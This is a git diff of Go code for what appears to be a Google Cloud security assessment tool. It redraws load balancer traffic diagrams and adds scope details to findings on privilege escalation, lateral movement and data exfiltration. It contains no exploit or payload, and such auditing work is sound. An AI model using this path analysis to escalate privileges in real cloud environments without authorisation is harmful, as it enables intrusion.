BackendServices []string
SecurityPolicy string
// BackendDetails maps backend service name to its actual backends (instance groups, NEGs, etc.)
BackendDetails map[string][]string
}
// VPCPeeringInfo represents VPC peering for diagram purposes
@@ -942,7 +944,7 @@ func DrawFirewallLegend(width int) string {
// Load Balancer Diagram Functions
// ========================================
// DrawLoadBalancerDiagram generates an ASCII diagram showing load balancer architecture
// DrawLoadBalancerDiagram generates an ASCII diagram showing load balancer traffic flow
func DrawLoadBalancerDiagram(
loadBalancers []LoadBalancerInfo,
projectID string,
@@ -950,9 +952,9 @@ func DrawLoadBalancerDiagram(
) string {
var sb strings.Builder
title := "LOAD BALANCER ARCHITECTURE"
title := "LOAD BALANCER TRAFFIC FLOW"
if projectID != "" {
title = fmt.Sprintf("LOAD BALANCER ARCHITECTURE (Project: %s)", projectID)
title = fmt.Sprintf("LOAD BALANCER TRAFFIC FLOW (Project: %s)", projectID)
}
sb.WriteString(DrawBox(title, width))
@@ -968,20 +970,20 @@ func DrawLoadBalancerDiagram(
}
}
// Draw external load balancers
// Draw external load balancers with flow
if len(externalLBs) > 0 {
sb.WriteString(drawLoadBalancerSection("EXTERNAL LOAD BALANCERS (Internet-facing)", externalLBs, width))
sb.WriteString(drawLBFlowSection("EXTERNAL (Internet-facing)", externalLBs, width))
sb.WriteString("\n")
}
// Draw internal load balancers
// Draw internal load balancers with flow
if len(internalLBs) > 0 {
sb.WriteString(drawLoadBalancerSection("INTERNAL LOAD BALANCERS (Private)", internalLBs, width))
sb.WriteString(drawLBFlowSection("INTERNAL (VPC-only)", internalLBs, width))
sb.WriteString("\n")
}
// Draw architecture overview
sb.WriteString(drawLBArchitectureOverview(externalLBs, internalLBs, width))
// Summary stats
sb.WriteString(drawLBSummary(externalLBs, internalLBs, width))
// Legend
sb.WriteString(DrawLoadBalancerLegend(width))
@@ -989,7 +991,8 @@ func DrawLoadBalancerDiagram(
return sb.String()
}
func drawLoadBalancerSection(title string, lbs []LoadBalancerInfo, width int) string {
// drawLBFlowSection draws individual load balancer flows showing frontend -> backend
func drawLBFlowSection(title string, lbs []LoadBalancerInfo, width int) string {
var sb strings.Builder
sb.WriteString("┌")
@@ -1000,35 +1003,16 @@ func drawLoadBalancerSection(title string, lbs []LoadBalancerInfo, width int) st
sb.WriteString(strings.Repeat("─", width-2))
sb.WriteString("┤\n")
for _, lb := range lbs {
// Security indicator
securityLabel := ""
if lb.SecurityPolicy != "" {
securityLabel = " [Cloud Armor]"
for i, lb := range lbs {
// Draw flow for each load balancer
sb.WriteString(drawSingleLBFlow(lb, width))
// Add separator between LBs (but not after the last one)
if i < len(lbs)-1 {
sb.WriteString("│")
sb.WriteString(strings.Repeat("─", width-2))
sb.WriteString("│\n")
}
// Type and name
typeLine := fmt.Sprintf(" %s: %s (%s)%s", lb.Type, lb.Name, lb.Region, securityLabel)
if len(typeLine) > width-4 {
typeLine = typeLine[:width-7] + "..."
}
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, typeLine))
// IP and Port
ipLine := fmt.Sprintf(" IP: %s:%s", lb.IPAddress, lb.Port)
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, ipLine))
// Backend services
if len(lb.BackendServices) > 0 {
backends := strings.Join(lb.BackendServices, ", ")
if len(backends) > width-20 {
backends = backends[:width-23] + "..."
}
backendLine := fmt.Sprintf(" Backends: %s", backends)
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, backendLine))
}
sb.WriteString(DrawEmptyLine(width))
}
sb.WriteString("└")
@@ -1038,35 +1022,125 @@ func drawLoadBalancerSection(title string, lbs []LoadBalancerInfo, width int) st
return sb.String()
}
func drawLBArchitectureOverview(externalLBs, internalLBs []LoadBalancerInfo, width int) string {
// drawSingleLBFlow draws a single load balancer's traffic flow
func drawSingleLBFlow(lb LoadBalancerInfo, width int) string {
var sb strings.Builder
// Security indicator
armorLabel := ""
if lb.SecurityPolicy != "" {
armorLabel = " [Cloud Armor: " + lb.SecurityPolicy + "]"
}
// LB name and type header
headerLine := fmt.Sprintf(" %s (%s, %s)%s", lb.Name, lb.Type, lb.Region, armorLabel)
if len(headerLine) > width-4 {
headerLine = headerLine[:width-7] + "..."
}
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, headerLine))
sb.WriteString(DrawEmptyLine(width))
// Frontend (IP:Port)
frontendBox := fmt.Sprintf("%s:%s", lb.IPAddress, lb.Port)
// Build backend lines with actual backend targets
var backendLines []string
if len(lb.BackendServices) == 0 {
backendLines = []string{"(no backends)"}
} else {
for _, beSvc := range lb.BackendServices {
// Check if we have detailed backend info
if lb.BackendDetails != nil {
if targets, ok := lb.BackendDetails[beSvc]; ok && len(targets) > 0 {
// Show backend service with its targets
backendLines = append(backendLines, fmt.Sprintf("%s:", beSvc))
for _, target := range targets {
backendLines = append(backendLines, fmt.Sprintf(" -> %s", target))
}
} else {
backendLines = append(backendLines, beSvc)
}
} else {
backendLines = append(backendLines, beSvc)
}
}
}
// Calculate dynamic backend width based on longest line
backendWidth := 35
for _, line := range backendLines {
if len(line)+4 > backendWidth {
backendWidth = len(line) + 4
}
}
// Cap at reasonable max
maxBackendWidth := width - 35
if backendWidth > maxBackendWidth {
backendWidth = maxBackendWidth
}
frontendWidth := 23
arrowWidth := 7
padding := width - frontendWidth - backendWidth - arrowWidth - 8
if padding < 0 {
padding = 0
}
// Top of boxes
sb.WriteString(fmt.Sprintf("│ ┌%s┐ ┌%s┐%s│\n",
strings.Repeat("─", frontendWidth),
strings.Repeat("─", backendWidth),
strings.Repeat(" ", padding)))
// Frontend label
sb.WriteString(fmt.Sprintf("│ │ %-*s │ │ %-*s │%s│\n",
frontendWidth-2, "FRONTEND",
backendWidth-2, "BACKEND SERVICE -> TARGETS",
strings.Repeat(" ", padding)))
// Separator with arrow
sb.WriteString(fmt.Sprintf("│ ├%s┤ ───> ├%s┤%s│\n",
strings.Repeat("─", frontendWidth),
strings.Repeat("─", backendWidth),
strings.Repeat(" ", padding)))
// IP:Port line with first backend
sb.WriteString(fmt.Sprintf("│ │ %-*s │ │ %-*s │%s│\n",
frontendWidth-2, frontendBox,
backendWidth-2, safeGetIndex(backendLines, 0),
strings.Repeat(" ", padding)))
// Additional backend lines
for i := 1; i < len(backendLines); i++ {
sb.WriteString(fmt.Sprintf("│ │ %-*s │ │ %-*s │%s│\n",
frontendWidth-2, "",
backendWidth-2, backendLines[i],
strings.Repeat(" ", padding)))
}
// Bottom of boxes
sb.WriteString(fmt.Sprintf("│ └%s┘ └%s┘%s│\n",
strings.Repeat("─", frontendWidth),
strings.Repeat("─", backendWidth),
strings.Repeat(" ", padding)))
sb.WriteString(DrawEmptyLine(width))
return sb.String()
}
// drawLBSummary draws summary statistics
func drawLBSummary(externalLBs, internalLBs []LoadBalancerInfo, width int) string {
var sb strings.Builder
sb.WriteString("┌")
sb.WriteString(strings.Repeat("─", width-2))
sb.WriteString("┐\n")
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, "ARCHITECTURE OVERVIEW"))
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, "SUMMARY"))
sb.WriteString("├")
sb.WriteString(strings.Repeat("─", width-2))
sb.WriteString("┤\n")
sb.WriteString("│ │\n")
if len(externalLBs) > 0 {
sb.WriteString("│ ┌─────────────┐ ┌─────────────────────┐ ┌─────────────┐ │\n")
sb.WriteString("│ │ INTERNET │ ─────> │ External LB │ ─────> │ Backends │ │\n")
sb.WriteString("│ │ │ │ (Cloud Armor) │ │ (GCE/GKE) │ │\n")
sb.WriteString("│ └─────────────┘ └─────────────────────┘ └─────────────┘ │\n")
sb.WriteString("│ │\n")
}
if len(internalLBs) > 0 {
sb.WriteString("│ ┌─────────────┐ ┌─────────────────────┐ ┌─────────────┐ │\n")
sb.WriteString("│ │ VPC │ ─────> │ Internal LB │ ─────> │ Backends │ │\n")
sb.WriteString("│ │ (Private) │ │ (Regional) │ │ (Private) │ │\n")
sb.WriteString("│ └─────────────┘ └─────────────────────┘ └─────────────┘ │\n")
sb.WriteString("│ │\n")
}
// Count with Cloud Armor
armorCount := 0
for _, lb := range externalLBs {
@@ -1075,15 +1149,18 @@ func drawLBArchitectureOverview(externalLBs, internalLBs []LoadBalancerInfo, wid
}
}
statsLine := fmt.Sprintf(" External: %d Internal: %d With Cloud Armor: %d", len(externalLBs), len(internalLBs), armorCount)
statsLine := fmt.Sprintf(" External LBs: %d Internal LBs: %d With Cloud Armor: %d/%d",
len(externalLBs), len(internalLBs), armorCount, len(externalLBs))
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, statsLine))
if len(externalLBs) > 0 && armorCount == 0 {
warningLine := " ⚠ No external load balancers have Cloud Armor protection"
warningLine := " ⚠ WARNING: No external load balancers have Cloud Armor protection"
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, warningLine))
} else if len(externalLBs) > armorCount {
warningLine := fmt.Sprintf(" ⚠ WARNING: %d external load balancer(s) missing Cloud Armor", len(externalLBs)-armorCount)
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, warningLine))
}
sb.WriteString("│ │\n")
sb.WriteString("└")
sb.WriteString(strings.Repeat("─", width-2))
sb.WriteString("┘\n")
@@ -1091,6 +1168,25 @@ func drawLBArchitectureOverview(externalLBs, internalLBs []LoadBalancerInfo, wid
return sb.String()
}
// truncateString truncates a string to maxLen, adding "..." if needed
func truncateString(s string, maxLen int) string {
if len(s) <= maxLen {
return s
}
if maxLen <= 3 {
return s[:maxLen]
}
return s[:maxLen-3] + "..."
}
// safeGetIndex safely gets an index from a slice, returning empty string if out of bounds
func safeGetIndex(slice []string, index int) string {
if index < len(slice) {
return slice[index]
}
return ""
}
// DrawLoadBalancerLegend draws the load balancer diagram legend
func DrawLoadBalancerLegend(width int) string {
var sb strings.Builder
+157 -2
View File
@@ -205,6 +205,10 @@ type PrincipalAccessFile struct {
ViaEdge bool `json:"via_edge"`
EdgePath []string `json:"edge_path,omitempty"`
Resource string `json:"resource,omitempty"`
// Scope information (may be in JSON or derived from Resource)
ScopeType string `json:"scope_type,omitempty"`
ScopeID string `json:"scope_id,omitempty"`
ScopeName string `json:"scope_name,omitempty"`
}
// New creates a new FoxMapperService
@@ -682,7 +686,7 @@ func (s *FoxMapperService) GetAttackSummary(principal string) string {
highestLevel = "folder"
}
}
return fmt.Sprintf("Privesc→%s (%d hops)", highestLevel, shortestHops)
return fmt.Sprintf("Privesc->%s (%d hops)", highestLevel, shortestHops)
}
return "Privesc"
}
@@ -743,7 +747,7 @@ func (s *FoxMapperService) GetPrivescSummary() map[string]interface{} {
// FormatPrivescPath formats a privesc path for display
func FormatPrivescPath(path PrivescPath) string {
var sb strings.Builder
sb.WriteString(fmt.Sprintf("%s → %s (%d hops)\n", path.Source, path.Destination, path.HopCount))
sb.WriteString(fmt.Sprintf("%s -> %s (%d hops)\n", path.Source, path.Destination, path.HopCount))
for i, edge := range path.Edges {
scopeInfo := ""
if edge.ScopeBlocksEscalation {
@@ -854,6 +858,10 @@ type PrincipalAccess struct {
ViaEdge bool `json:"via_edge"`
EdgePath []string `json:"edge_path,omitempty"`
HasCondition bool `json:"has_condition"`
// Scope information - WHERE the permission was granted
ScopeType string `json:"scope_type,omitempty"` // organization, folder, project
ScopeID string `json:"scope_id,omitempty"` // The org/folder/project ID
ScopeName string `json:"scope_name,omitempty"` // Display name if available
}
// CategoryInfo provides summary info for a category
@@ -1131,6 +1139,9 @@ func (s *FoxMapperService) AnalyzeLateral(category string) []LateralFinding {
func (s *FoxMapperService) analyzeLateralFromFindings(category string) []LateralFinding {
var findings []LateralFinding
// Get the project ID from the findings data for project-level scope derivation
projectID := s.LateralFindingsData.ProjectID
for _, f := range s.LateralFindingsData.Findings {
// Filter by category if specified
if category != "" && f.Category != category {
@@ -1140,6 +1151,21 @@ func (s *FoxMapperService) analyzeLateralFromFindings(category string) []Lateral
// Convert file format to internal format
var principals []PrincipalAccess
for _, p := range f.Principals {
// Get scope info from JSON fields, Resource, or derive from access_type
scopeType := p.ScopeType
scopeID := p.ScopeID
scopeName := p.ScopeName
if scopeType == "" {
if p.Resource != "" {
// Resource field exists in JSON
scopeType, scopeID, scopeName = s.parseResourceScope(p.Resource)
} else {
// Derive scope from access_type and available context
scopeType, scopeID, scopeName = s.deriveScopeFromContext(p.MemberID, p.AccessType, p.ViaEdge, projectID)
}
}
principals = append(principals, PrincipalAccess{
Principal: p.Principal,
MemberID: p.MemberID,
@@ -1149,6 +1175,9 @@ func (s *FoxMapperService) analyzeLateralFromFindings(category string) []Lateral
AccessType: p.AccessType,
ViaEdge: p.ViaEdge,
EdgePath: p.EdgePath,
ScopeType: scopeType,
ScopeID: scopeID,
ScopeName: scopeName,
})
}
@@ -1186,6 +1215,7 @@ func (s *FoxMapperService) analyzeLateralFromEdges(category string) []LateralFin
strings.Contains(edge.ShortReason, tech.Permission) {
node := s.GetNode(edge.Source)
if node != nil {
scopeType, scopeID, scopeName := s.parseResourceScope(edge.Resource)
principals = append(principals, PrincipalAccess{
Principal: node.Email,
MemberID: node.MemberID,
@@ -1194,6 +1224,9 @@ func (s *FoxMapperService) analyzeLateralFromEdges(category string) []LateralFin
IsServiceAccount: node.MemberType == "serviceAccount",
AccessType: "via_privesc",
ViaEdge: true,
ScopeType: scopeType,
ScopeID: scopeID,
ScopeName: scopeName,
})
}
}
@@ -1334,6 +1367,9 @@ func (s *FoxMapperService) AnalyzeDataExfil(service string) []DataExfilFinding {
func (s *FoxMapperService) analyzeDataExfilFromFindings(service string) []DataExfilFinding {
var findings []DataExfilFinding
// Get the project ID from the findings data for project-level scope derivation
projectID := s.DataExfilFindingsData.ProjectID
for _, f := range s.DataExfilFindingsData.Findings {
// Filter by service if specified
if service != "" && f.Service != service {
@@ -1343,6 +1379,21 @@ func (s *FoxMapperService) analyzeDataExfilFromFindings(service string) []DataEx
// Convert file format to internal format
var principals []PrincipalAccess
for _, p := range f.Principals {
// Get scope info from JSON fields, Resource, or derive from access_type
scopeType := p.ScopeType
scopeID := p.ScopeID
scopeName := p.ScopeName
if scopeType == "" {
if p.Resource != "" {
// Resource field exists in JSON
scopeType, scopeID, scopeName = s.parseResourceScope(p.Resource)
} else {
// Derive scope from access_type and available context
scopeType, scopeID, scopeName = s.deriveScopeFromContext(p.MemberID, p.AccessType, p.ViaEdge, projectID)
}
}
principals = append(principals, PrincipalAccess{
Principal: p.Principal,
MemberID: p.MemberID,
@@ -1352,6 +1403,9 @@ func (s *FoxMapperService) analyzeDataExfilFromFindings(service string) []DataEx
AccessType: p.AccessType,
ViaEdge: p.ViaEdge,
EdgePath: p.EdgePath,
ScopeType: scopeType,
ScopeID: scopeID,
ScopeName: scopeName,
})
}
@@ -1389,6 +1443,7 @@ func (s *FoxMapperService) analyzeDataExfilFromEdges(service string) []DataExfil
strings.Contains(edge.ShortReason, tech.Permission) {
node := s.GetNode(edge.Source)
if node != nil {
scopeType, scopeID, scopeName := s.parseResourceScope(edge.Resource)
principals = append(principals, PrincipalAccess{
Principal: node.Email,
MemberID: node.MemberID,
@@ -1397,6 +1452,9 @@ func (s *FoxMapperService) analyzeDataExfilFromEdges(service string) []DataExfil
IsServiceAccount: node.MemberType == "serviceAccount",
AccessType: "via_privesc",
ViaEdge: true,
ScopeType: scopeType,
ScopeID: scopeID,
ScopeName: scopeName,
})
}
}
@@ -1443,6 +1501,8 @@ type WrongAdminFinding struct {
AdminLevel string `json:"admin_level"` // org, folder, project
Reasons []string `json:"reasons"`
ProjectID string `json:"project_id"`
FolderID string `json:"folder_id,omitempty"` // For folder-level admins
OrgID string `json:"org_id,omitempty"` // For org-level admins
}
// ADMIN_ROLES are roles that grant explicit admin access
@@ -1484,12 +1544,17 @@ func (s *FoxMapperService) AnalyzeWrongAdmins() []WrongAdminFinding {
// This is a "wrong admin" - get reasons why they're admin
reasons := s.getAdminReasons(node)
// Get the highest admin resource ID (org, folder, or project)
folderID, orgID := s.getAdminResourceIDs(node)
finding := WrongAdminFinding{
Principal: node.Email,
MemberType: node.MemberType,
AdminLevel: node.AdminLevel,
Reasons: reasons,
ProjectID: node.ProjectID,
FolderID: folderID,
OrgID: orgID,
}
if finding.AdminLevel == "" {
@@ -1657,3 +1722,93 @@ func (s *FoxMapperService) getPolicyLevel(resource string) string {
}
return "project"
}
// getAdminResourceIDs returns the folder ID and org ID where the node has admin access
// Returns the highest level resources (org > folder > project)
func (s *FoxMapperService) getAdminResourceIDs(node *Node) (folderID, orgID string) {
for _, policy := range s.Policies {
for _, binding := range policy.Bindings {
// Check for self-assignment roles (makes them admin)
if !SELF_ASSIGNMENT_ROLES[binding.Role] {
continue
}
for _, member := range binding.Members {
if s.memberMatchesNode(member, node) {
// Extract resource ID based on type
if strings.HasPrefix(policy.Resource, "organizations/") {
orgID = strings.TrimPrefix(policy.Resource, "organizations/")
} else if strings.HasPrefix(policy.Resource, "folders/") {
// Only set folderID if we don't already have org admin
// (org level is higher)
if orgID == "" {
folderID = strings.TrimPrefix(policy.Resource, "folders/")
}
}
}
}
}
}
return folderID, orgID
}
// parseResourceScope extracts scope information from a resource string
// Returns scopeType, scopeID, scopeName
// Resource formats: "organizations/123", "folders/456", "projects/myproject", etc.
func (s *FoxMapperService) parseResourceScope(resource string) (scopeType, scopeID, scopeName string) {
if resource == "" {
return "unknown", "", ""
}
if strings.HasPrefix(resource, "organizations/") {
scopeType = "organization"
scopeID = strings.TrimPrefix(resource, "organizations/")
// Try to get display name from metadata if available
scopeName = scopeID
} else if strings.HasPrefix(resource, "folders/") {
scopeType = "folder"
scopeID = strings.TrimPrefix(resource, "folders/")
scopeName = scopeID
} else if strings.HasPrefix(resource, "projects/") {
scopeType = "project"
scopeID = strings.TrimPrefix(resource, "projects/")
scopeName = scopeID
} else {
// Resource-level permission (e.g., storage bucket, BigQuery dataset)
scopeType = "resource"
scopeID = resource
scopeName = resource
}
return scopeType, scopeID, scopeName
}
// deriveScopeFromContext derives scope information when the Resource field is empty
// This is needed for pre-computed findings that don't include the resource field.
// For "project_iam" access type, we know the permission was granted at project level.
// For "via_privesc" access type, we look up the edge to find where the permission was granted.
func (s *FoxMapperService) deriveScopeFromContext(memberID, accessType string, viaEdge bool, fallbackProjectID string) (scopeType, scopeID, scopeName string) {
// For project_iam access, the permission was granted at the project level
if accessType == "project_iam" {
return "project", fallbackProjectID, fallbackProjectID
}
// For via_privesc with viaEdge=true, look up the edge to find the resource
if viaEdge && accessType == "via_privesc" {
// Find the first edge from this principal to determine scope
for _, edge := range s.Edges {
if edge.Source == memberID {
if edge.Resource != "" {
return s.parseResourceScope(edge.Resource)
}
}
}
}
// Fallback: if we have a project ID, assume project-level
if fallbackProjectID != "" {
return "project", fallbackProjectID, fallbackProjectID
}
return "unknown", "", ""
}
+1
View File
@@ -102,6 +102,7 @@ func (s *OrganizationsService) SearchOrganizations() ([]OrganizationInfo, error)
orgInfo := OrganizationInfo{
Name: org.Name,
DisplayName: org.DisplayName,
DirectoryID: org.GetDirectoryCustomerId(),
State: org.State.String(),
}
if org.CreateTime != nil {
@@ -123,14 +123,21 @@ func (s *ServiceAgentsService) getResourceManagerService(ctx context.Context) (*
return cloudresourcemanager.NewService(ctx)
}
// GetServiceAgents retrieves all service agents with IAM bindings
func (s *ServiceAgentsService) GetServiceAgents(projectID string) ([]ServiceAgentInfo, error) {
// GetServiceAgents retrieves all service agents with IAM bindings.
// If orgCache is provided, it resolves project numbers to IDs for accurate cross-project detection.
func (s *ServiceAgentsService) GetServiceAgents(projectID string, orgCache ...*gcpinternal.OrgCache) ([]ServiceAgentInfo, error) {
ctx := context.Background()
service, err := s.getResourceManagerService(ctx)
if err != nil {
return nil, gcpinternal.ParseGCPError(err, "cloudresourcemanager.googleapis.com")
}
// Get optional OrgCache
var cache *gcpinternal.OrgCache
if len(orgCache) > 0 {
cache = orgCache[0]
}
var agents []ServiceAgentInfo
// Get IAM policy
@@ -156,11 +163,19 @@ func (s *ServiceAgentsService) GetServiceAgents(projectID string) ([]ServiceAgen
continue // Not a service agent
}
// Extract source project from email
// Extract source project from email (may be a project number or ID)
sourceProject := s.extractSourceProject(email)
// Check for cross-project access
isCrossProject := sourceProject != "" && sourceProject != projectID
// Resolve project number to ID using OrgCache if available
sourceProjectID := sourceProject
if cache != nil && cache.IsPopulated() && sourceProject != "" {
if resolved := cache.GetProjectIDByNumber(sourceProject); resolved != "" {
sourceProjectID = resolved
}
}
// Check for cross-project access using resolved ID
isCrossProject := sourceProjectID != "" && sourceProjectID != projectID
// Add or update agent
if agent, exists := seenAgents[email]; exists {
@@ -169,7 +184,7 @@ func (s *ServiceAgentsService) GetServiceAgents(projectID string) ([]ServiceAgen
agent := &ServiceAgentInfo{
Email: email,
ProjectID: projectID,
SourceProject: sourceProject,
SourceProject: sourceProjectID,
ServiceName: agentType,
AgentType: agentType,
Roles: []string{binding.Role},
+1
View File
@@ -35,6 +35,7 @@ const GCP_SPANNER_MODULE_NAME string = "spanner"
const GCP_BIGTABLE_MODULE_NAME string = "bigtable"
const GCP_VPCSC_MODULE_NAME string = "vpc-sc"
const GCP_WORKLOAD_IDENTITY_MODULE_NAME string = "workload-identity"
const GCP_IDENTITY_FEDERATION_MODULE_NAME string = "identity-federation"
const GCP_ASSET_INVENTORY_MODULE_NAME string = "asset-inventory"
const GCP_LOADBALANCERS_MODULE_NAME string = "loadbalancers"
const GCP_VPCNETWORKS_MODULE_NAME string = "vpc-networks"
Regular → Executable
+57
View File
@@ -183,6 +183,49 @@ func (c *FoxMapperCache) HasPrivesc(serviceAccount string) (bool, string) {
return false, ""
}
// GetAdminStatus returns the admin status for a principal from FoxMapper data
// Returns: isAdmin (bool), adminLevel (string: "Org", "Folder", "Project", or "")
func (c *FoxMapperCache) GetAdminStatus(principal string) (bool, string) {
if !c.populated {
return false, ""
}
// Clean the principal - remove prefixes if present
cleanPrincipal := principal
if strings.HasPrefix(principal, "serviceAccount:") {
cleanPrincipal = strings.TrimPrefix(principal, "serviceAccount:")
} else if strings.HasPrefix(principal, "user:") {
cleanPrincipal = strings.TrimPrefix(principal, "user:")
} else if strings.HasPrefix(principal, "group:") {
cleanPrincipal = strings.TrimPrefix(principal, "group:")
}
node := c.service.GetNode(cleanPrincipal)
if node == nil {
return false, ""
}
if node.IsAdmin {
level := node.AdminLevel
// Capitalize for display
switch level {
case "org":
return true, "Org"
case "folder":
return true, "Folder"
case "project":
return true, "Project"
default:
if level == "" {
return true, "Project" // Default to project if not specified
}
return true, level
}
}
return false, ""
}
// Context key for FoxMapper cache
type foxMapperCacheKey struct{}
@@ -308,3 +351,17 @@ func GetAttackSummaryFromCaches(foxMapperCache *FoxMapperCache, _ interface{}, p
return "run foxmapper"
}
// GetAdminStatusFromCache returns admin status from FoxMapper cache
// Returns the admin level (Org/Folder/Project) if admin, empty string otherwise
func GetAdminStatusFromCache(foxMapperCache *FoxMapperCache, principal string) string {
if foxMapperCache == nil || !foxMapperCache.IsPopulated() {
return ""
}
isAdmin, level := foxMapperCache.GetAdminStatus(principal)
if isAdmin {
return level
}
return ""
}
Regular → Executable
+114 -13
View File
@@ -18,9 +18,10 @@ type OrgCache struct {
AllProjects []CachedProject
// Quick lookups
ProjectByID map[string]*CachedProject
FolderByID map[string]*CachedFolder
OrgByID map[string]*CachedOrganization
ProjectByID map[string]*CachedProject
ProjectByNumber map[string]*CachedProject
FolderByID map[string]*CachedFolder
OrgByID map[string]*CachedOrganization
// Populated indicates whether the cache has been populated
Populated bool
@@ -33,6 +34,8 @@ type CachedOrganization struct {
ID string // Numeric org ID
Name string // organizations/ORGID
DisplayName string
DirectoryID string // Cloud Identity directory customer ID
State string // ACTIVE, DELETE_REQUESTED, etc.
}
// CachedFolder represents cached folder info
@@ -41,12 +44,14 @@ type CachedFolder struct {
Name string // folders/FOLDERID
DisplayName string
Parent string // Parent org or folder
State string // ACTIVE, DELETE_REQUESTED, etc.
}
// CachedProject represents cached project info
type CachedProject struct {
ID string // Project ID
Name string // projects/PROJECTID
ID string // Project ID (e.g. "my-project")
Number string // Project number (e.g. "123456789")
Name string // projects/PROJECT_NUMBER
DisplayName string
Parent string // Parent org or folder
State string // ACTIVE, DELETE_REQUESTED, etc.
@@ -55,13 +60,14 @@ type CachedProject struct {
// NewOrgCache creates a new empty org cache
func NewOrgCache() *OrgCache {
return &OrgCache{
Organizations: []CachedOrganization{},
Folders: []CachedFolder{},
AllProjects: []CachedProject{},
ProjectByID: make(map[string]*CachedProject),
FolderByID: make(map[string]*CachedFolder),
OrgByID: make(map[string]*CachedOrganization),
Populated: false,
Organizations: []CachedOrganization{},
Folders: []CachedFolder{},
AllProjects: []CachedProject{},
ProjectByID: make(map[string]*CachedProject),
ProjectByNumber: make(map[string]*CachedProject),
FolderByID: make(map[string]*CachedFolder),
OrgByID: make(map[string]*CachedOrganization),
Populated: false,
}
}
@@ -89,7 +95,11 @@ func (c *OrgCache) AddProject(project CachedProject) {
defer c.mu.Unlock()
c.AllProjects = append(c.AllProjects, project)
c.ProjectByID[project.ID] = &c.AllProjects[len(c.AllProjects)-1]
ptr := &c.AllProjects[len(c.AllProjects)-1]
c.ProjectByID[project.ID] = ptr
if project.Number != "" {
c.ProjectByNumber[project.Number] = ptr
}
}
// MarkPopulated marks the cache as populated
@@ -139,6 +149,17 @@ func (c *OrgCache) GetProject(projectID string) *CachedProject {
return c.ProjectByID[projectID]
}
// GetProjectIDByNumber returns the project ID for a given project number.
// Returns empty string if not found.
func (c *OrgCache) GetProjectIDByNumber(number string) string {
c.mu.RLock()
defer c.mu.RUnlock()
if p, ok := c.ProjectByNumber[number]; ok {
return p.ID
}
return ""
}
// GetFolder returns a folder by ID
func (c *OrgCache) GetFolder(folderID string) *CachedFolder {
c.mu.RLock()
@@ -216,6 +237,86 @@ func (c *OrgCache) GetProjectsInOrg(orgID string) []string {
return ids
}
// GetProjectAncestorFolders returns all folder IDs in the ancestry path for a project.
// This walks up from the project's parent through all nested folders.
func (c *OrgCache) GetProjectAncestorFolders(projectID string) []string {
c.mu.RLock()
defer c.mu.RUnlock()
project := c.ProjectByID[projectID]
if project == nil {
return nil
}
var folderIDs []string
currentParent := project.Parent
// Walk up the folder chain
for {
if currentParent == "" {
break
}
// Check if parent is a folder
if len(currentParent) > 8 && currentParent[:8] == "folders/" {
folderID := currentParent[8:]
folderIDs = append(folderIDs, folderID)
// Get next parent
if folder := c.FolderByID[folderID]; folder != nil {
currentParent = folder.Parent
} else {
break
}
} else {
// Parent is an org or unknown, stop here
break
}
}
return folderIDs
}
// GetProjectOrgID returns the organization ID for a project.
// Returns empty string if the project is not found or has no org.
func (c *OrgCache) GetProjectOrgID(projectID string) string {
c.mu.RLock()
defer c.mu.RUnlock()
project := c.ProjectByID[projectID]
if project == nil {
return ""
}
currentParent := project.Parent
// Walk up until we find an org
for {
if currentParent == "" {
break
}
// Check if parent is an org
if len(currentParent) > 14 && currentParent[:14] == "organizations/" {
return currentParent[14:]
}
// Check if parent is a folder
if len(currentParent) > 8 && currentParent[:8] == "folders/" {
folderID := currentParent[8:]
if folder := c.FolderByID[folderID]; folder != nil {
currentParent = folder.Parent
} else {
break
}
} else {
break
}
}
return ""
}
// Context key for org cache
type orgCacheKey struct{}
Regular → Executable
+492
View File
@@ -1213,6 +1213,7 @@ func formatNumberWithCommas(n int) string {
// HierarchicalOutputData represents output data organized by scope for hierarchical output
type HierarchicalOutputData struct {
OrgLevelData map[string]CloudfoxOutput // orgID -> org-level data
FolderLevelData map[string]CloudfoxOutput // folderID -> folder-level data
ProjectLevelData map[string]CloudfoxOutput // projectID -> project data
}
@@ -1253,6 +1254,14 @@ func HandleHierarchicalOutput(
}
}
// Write folder-level data (if any)
for folderID, folderData := range outputData.FolderLevelData {
outPath := pathBuilder("folder", folderID)
if err := writeOutputToPath(outPath, format, verbosity, wrap, folderData, logger); err != nil {
return fmt.Errorf("failed to write folder-level output for %s: %w", folderID, err)
}
}
// Write project-level data
for projectID, projectData := range outputData.ProjectLevelData {
outPath := pathBuilder("project", projectID)
@@ -1316,6 +1325,14 @@ func HandleHierarchicalOutputStreaming(
}
}
// Stream folder-level data (if any)
for folderID, folderData := range outputData.FolderLevelData {
outPath := pathBuilder("folder", folderID)
if err := streamOutputToPath(outPath, format, verbosity, wrap, folderData, logger); err != nil {
return fmt.Errorf("failed to stream folder-level output for %s: %w", folderID, err)
}
}
// Stream project-level data
for projectID, projectData := range outputData.ProjectLevelData {
outPath := pathBuilder("project", projectID)
@@ -1456,6 +1473,11 @@ func HandleHierarchicalOutputSmart(
totalRows += len(tableFile.Body)
}
}
for _, folderData := range outputData.FolderLevelData {
for _, tableFile := range folderData.TableFiles() {
totalRows += len(tableFile.Body)
}
}
for _, projectData := range outputData.ProjectLevelData {
for _, tableFile := range projectData.TableFiles() {
totalRows += len(tableFile.Body)
@@ -1488,3 +1510,473 @@ func HandleHierarchicalOutputSmart(
// Use normal in-memory output for smaller datasets
return HandleHierarchicalOutput(cloudProvider, format, verbosity, wrap, pathBuilder, outputData)
}
// ============================================================================
// SINGLE-PASS TEE STREAMING - Efficient hierarchical output with row routing
// ============================================================================
// RowRouter is a function that determines which project IDs a row belongs to.
// Given a row (slice of strings), it returns the project IDs that should receive this row.
// The row is always written to org-level; this determines additional project-level routing.
type RowRouter func(row []string) []string
// ProjectLootCollector is a function that returns loot files for a specific project.
// This allows modules to provide inheritance-aware loot (e.g., org + folder + project loot).
type ProjectLootCollector func(projectID string) []LootFile
// TeeStreamingConfig holds configuration for single-pass tee streaming output
type TeeStreamingConfig struct {
// OrgID is the organization ID for org-level output
OrgID string
// ProjectIDs is the list of all project IDs that may receive output
ProjectIDs []string
// Tables contains the table data to stream (header + body)
Tables []TableFile
